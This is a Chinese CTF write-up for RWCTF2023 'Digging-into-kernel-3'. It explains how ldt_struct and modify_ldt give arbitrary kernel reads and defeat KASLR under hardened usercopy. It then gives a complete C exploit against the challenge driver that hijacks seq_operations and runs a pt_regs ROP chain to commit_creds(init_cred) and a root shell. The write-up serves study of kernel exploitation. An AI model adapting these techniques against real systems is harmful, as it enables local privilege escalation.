【ldt_struct结构体的利用】RWCTF2023-Digging-into-kernel-3

ldt_struct 结构体

对于该结构体知识请自行谷歌学习，这里仅仅讲利用

ldt 即局部段描述符表（Local Descriptor Table）该结构体如下，结构体的大小为 0x10：

/*
 * ldt_structs can be allocated, used, and freed, but they are never
 * modified while live.
 */
struct ldt_struct {
	/*
	 * Xen requires page-aligned LDTs with special permissions.  This is
	 * needed to prevent us from installing evil descriptors such as
	 * call gates.  On native, we could merge the ldt_struct and LDT
	 * allocations, but it's not worth trying to optimize.
	 */
	struct desc_struct	*entries;
	unsigned int		nr_entries;

	/*
	 * If PTI is in use, then the entries array is not mapped while we're
	 * in user mode.  The whole array will be aliased at the addressed
	 * given by ldt_slot_va(slot).  We use two slots so that we can allocate
	 * and map, and enable a new LDT without invalidating the mapping
	 * of an older, still-in-use LDT.
	 *
	 * slot will be -1 if this LDT doesn't have an alias mapping.
	 */
	int			slot;
};

其中 entries 指向一个 desc_struct 数组，nr_entries 标识 desc_struct 数组中元素的个数

/* 8 byte segment descriptor */
struct desc_struct {
	u16	limit0;
	u16	base0;
	u16	base1: 8, type: 4, s: 1, dpl: 2, p: 1;
	u16	limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
} __attribute__((packed));

modify_ldt 系统调用

Linux 提供给我们一个叫 modify_ldt 的系统调用，通过该系统调用我们可以获取或修改当前进程的 LDT：

SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
		unsigned long , bytecount)
{
	int ret = -ENOSYS;

	switch (func) {
	case 0:
		ret = read_ldt(ptr, bytecount);
		break;
	case 1:
		ret = write_ldt(ptr, bytecount, 1);
		break;
	case 2:
		ret = read_default_ldt(ptr, bytecount);
		break;
	case 0x11:
		ret = write_ldt(ptr, bytecount, 0);
		break;
	}
	/*
	 * The SYSCALL_DEFINE() macros give us an 'unsigned long'
	 * return type, but tht ABI for sys_modify_ldt() expects
	 * 'int'.  This cast gives us an int-sized value in %rax
	 * for the return code.  The 'unsigned' is necessary so
	 * the compiler does not try to sign-extend the negative
	 * return codes into the high half of the register when
	 * taking the value from int->long.
	 */
	return (unsigned int)ret;
}

我们应当传入三个参数：func、ptr、bytecount，其中 ptr 应为指向 user_desc 结构体的指针：

struct user_desc {
	unsigned int  entry_number;
	unsigned int  base_addr;
	unsigned int  limit;
	unsigned int  seg_32bit:1;
	unsigned int  contents:2;
	unsigned int  read_exec_only:1;
	unsigned int  limit_in_pages:1;
	unsigned int  seg_not_present:1;
	unsigned int  useable:1;
#ifdef __x86_64__
	/*
	 * Because this bit is not present in 32-bit user code, user
	 * programs can pass uninitialized values here.  Therefore, in
	 * any context in which a user_desc comes from a 32-bit program,
	 * the kernel must act as though lm == 0, regardless of the
	 * actual value.
	 */
	unsigned int  lm:1;
#endif
};

 read_ldt()：内核任意地址读

可以看到该函数会将 ldt_struct->entries 指向的数据复制到用户区，所以如果我们能够控制 ldt_struct 结构体，那么我们就可以通过修改 ldt_struct->entries 去实现任意地址读取。

 write_ldt()：分配新的 ldt_struct 结构体

该函数会调用 alloc_ldt_struct 函数重新分配一个 ldt_struct 结构体：

alloc_ldt_struct 调用的是 kmalloc 函数分配的 ldt_struct 结构体，所以这就给了我们控制 ldt_struct 结构体的机会。

ldt_struct 泄漏内核基地址

我们可以先泄漏直接映射区的位置，然后在直接映射区上有一个 secondary_startup_64 函数指针，然后我们就可以直接读直接映射区去泄漏内核基地址。

下面直接来自【PWN.0x02】Linux Kernel Pwn II：常用结构体集合 - arttnba3's blog

I. 爆破 page_offset_base 与泄露内核 .text 段地址

前面讲到若是能够控制 ldt->entries 便能够完成内核的任意地址读 ，但在开启 KASLR 的情况下，我们并不知道该从哪里读取什么数据

这里我们要用到 copy_to_user() 的一个特性：对于非法地址，其并不会造成 kernel panic，只会返回一个非零的错误码，我们不难想到的是，我们可以多次修改 ldt->entries 并多次调用 modify_ldt() 以爆破内核 .text 段地址与 page_offset_base，若是成功命中，则 modify_ldt 会返回给我们一个非负值

但直接爆破代码段地址并非一个明智的选择，由于 Hardened usercopy 的存在，对于直接拷贝代码段上数据的行为会导致 kernel panic，因此现实场景中我们很难直接爆破代码段加载基地址，但是在 page_offset_base + 0x9d000 的地方存储着 secondary_startup_64 函数的地址，因此我们可以直接将 ldt_struct->entries 设为 page_offset_base + 0x9d000 之后再通过 read_ldt() 进行读取即可泄露出内核代码段基地址

II. 利用 fork 完成 hardened usercopy 下的任意地址读

当内核开启了 hardened usercopy 时，我们不能够直接搜索整个线性映射区域，这因为这有可能触发 hardened usercopy 的检查

 ldt 是一个与进程全局相关的东西，因此现在让我们将目光放到与进程相关的其他方面上——观察 fork 系统调用的源码，我们可以发现如下执行链：

sys_fork()
        kernel_clone()
                copy_process()
                               copy_mm()
                                        dup_mm()
                                                dup_mmap()
                                                        arch_dup_mmap()
                                                                ldt_dup_context()

ldt_dup_context() 定义于 arch/x86/kernel/ldt.c 中，注意到如下逻辑：

/*
 * Called on fork from arch_dup_mmap(). Just copy the current LDT state,
 * the new task is not running, so nothing can be installed.
 */
int ldt_dup_context(struct mm_struct *old_mm, struct mm_struct *mm)
{
    //...

    memcpy(new_ldt->entries, old_mm->context.ldt->entries,
           new_ldt->nr_entries * LDT_ENTRY_SIZE);

       //...
}

 在这里会通过 memcpy 将父进程的 ldt->entries 拷贝给子进程，是完全处在内核中的操作，因此不会触发 hardened usercopy 的检查，我们只需要在父进程中设定好搜索的地址之后再开子进程来用 read_ldt() 读取数据即可

RWCTF2023-Digging-into-kernel-3

开启了 smap、smep、kaslr 和 kpti 保护，驱动程序很简单，就一个 ioctl 函数

然后有一个贴脸的任意大小UAF，并且有写堆块的功能。 

主要的问题就是这里没有读堆块的功能，所以关键点就是去泄漏内核基地址。最开始我想用 msg_msg + shm_file_data 去泄漏内核基地址的，但是最后失败了（我感觉应该是可以的），我认为是 copy_from_user 写数据的时候把 msg_header 结构体的 next 字段给覆盖了，由于我对 copy_from_user 的一些特性不是很明白，就没有深究。

最后选择利用 ldt_struct 去泄漏内核基地址，然后经过测试发现没有开启 CONFIG_RANDOMIZE_KSTACK_OFFSET 保护，所以直接劫持 seq_operations，然后利用 pt_regs 一套带走了。

我在 ctf-wiki 上看到其是利用的 user_key_payload 泄漏的内核基地址，然后通过 pipe_buffer 劫持的程序执行流，这个方法到时候在看看吧，我感觉 pipe_buffer 这个结构体很重要，后面好好学习一下。

然后这题也没有开启一些 slab 保护，所以也不需要堆喷，exp 如下：

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>

#define SECONDARY_STARTUP_64 0xffffffff81000060
size_t pop_rdi = 0xffffffff8106ab4d; // pop rdi ; ret
size_t init_cred = 0xffffffff82850580;
size_t commit_creds = 0xffffffff81095c30;
size_t add_rsp_xx = 0xFFFFFFFF812A9811;// FFFFFFFF813A193A;
size_t swapgs_kpti = 0xFFFFFFFF81E00EF3;

struct node {
        int idx;
        int size;
        char* ptr;
};

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

int rw_fd;
int seq_fd;
void add(int idx, int size, char* ptr)
{
        struct node n = { .idx = idx, .size = size, .ptr = ptr };
        ioctl(rw_fd, 0xDEADBEEF, &n);
//      if (ioctl(rw_fd, 0xDEADBEEF, &n) < 0) info("Copy error in add function");
}

void dele(int idx)
{
        struct node n = { .idx = idx };
        ioctl(rw_fd, 0xC0DECAFE, &n);
}

int main(int argc, char** argv, char** env)
{
        bind_core(0);
        int qid;
        char buf[0x10] = { 0 };

        rw_fd = open("/dev/rwctf", O_RDWR);
        if (rw_fd < 0) err_exit("Failed to open /dev/rwctf");

        add(0, 0x10, buf);
        dele(0);

        size_t page_offset_base = 0xffff888000000000;
        size_t temp;
        int res;
        int pipe_fd[2];
        size_t kernel_offset;
        size_t* ptr;
        size_t search_addr;
        struct user_desc desc = { 0 };
        desc.base_addr = 0xff0000;
        desc.entry_number = 0x8000 / 8;
        syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
        while (1)
        {
                dele(0);
                *(size_t*)buf = page_offset_base;
                *(size_t*)(buf+8) = 0x8000 / 8;
                add(0, 0x10, buf);
                res = syscall(SYS_modify_ldt, 0, &temp, 8);
                if (res > 0) break;
                else if (res == 0) err_exit("no mm->context.ldt");
                page_offset_base += 0x4000000;
        }
        hexx("page_offset_base", page_offset_base);

        pipe(pipe_fd);
        ptr = (size_t*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);;
        search_addr = page_offset_base;
        kernel_offset = -1;
        while(1)
        {
                dele(0);
                *(size_t*)buf = search_addr;
                *(size_t*)(buf+8) = 0x4000 / 8;
                add(0, 0x10, buf);
                res = fork();
                if (!res)
                {
                        syscall(SYS_modify_ldt, 0, ptr, 0x4000);
                        for (int i = 0; i < 0x800; i++)
                                if (ptr[i] > 0xffffffff81000000 && (ptr[i]&0xfff) == 0x060)
                                        kernel_offset = ptr[i] - SECONDARY_STARTUP_64;
                        write(pipe_fd[1], &kernel_offset, 8);
                        exit(0);
                }
                wait(NULL);
                read(pipe_fd[0], &kernel_offset, 8);
                if (kernel_offset != -1) break;
                search_addr += 0x4000;
        }
        hexx("kernel_offset", kernel_offset);

        puts("Hijack the Program Execution Flow");
        pop_rdi += kernel_offset;
        init_cred += kernel_offset;
        commit_creds += kernel_offset;
        swapgs_kpti += kernel_offset;
        add_rsp_xx += kernel_offset;
        hexx("add_rsp_xx", add_rsp_xx);

        add(0, 0x20, buf);
        dele(0);

        seq_fd = open("/proc/self/stat", O_RDONLY);
        dele(0);
        add(0, 0x20, &add_rsp_xx);

        asm(
        "mov r15, pop_rdi;"
        "mov r14, init_cred;"
        "mov r13, commit_creds;"
        "mov r12, swapgs_kpti;"
        );
        read(seq_fd, buf, 8);
        hexx("UID", getuid());
        system("/bin/sh");
        return 0;
}

最后可以直接提权：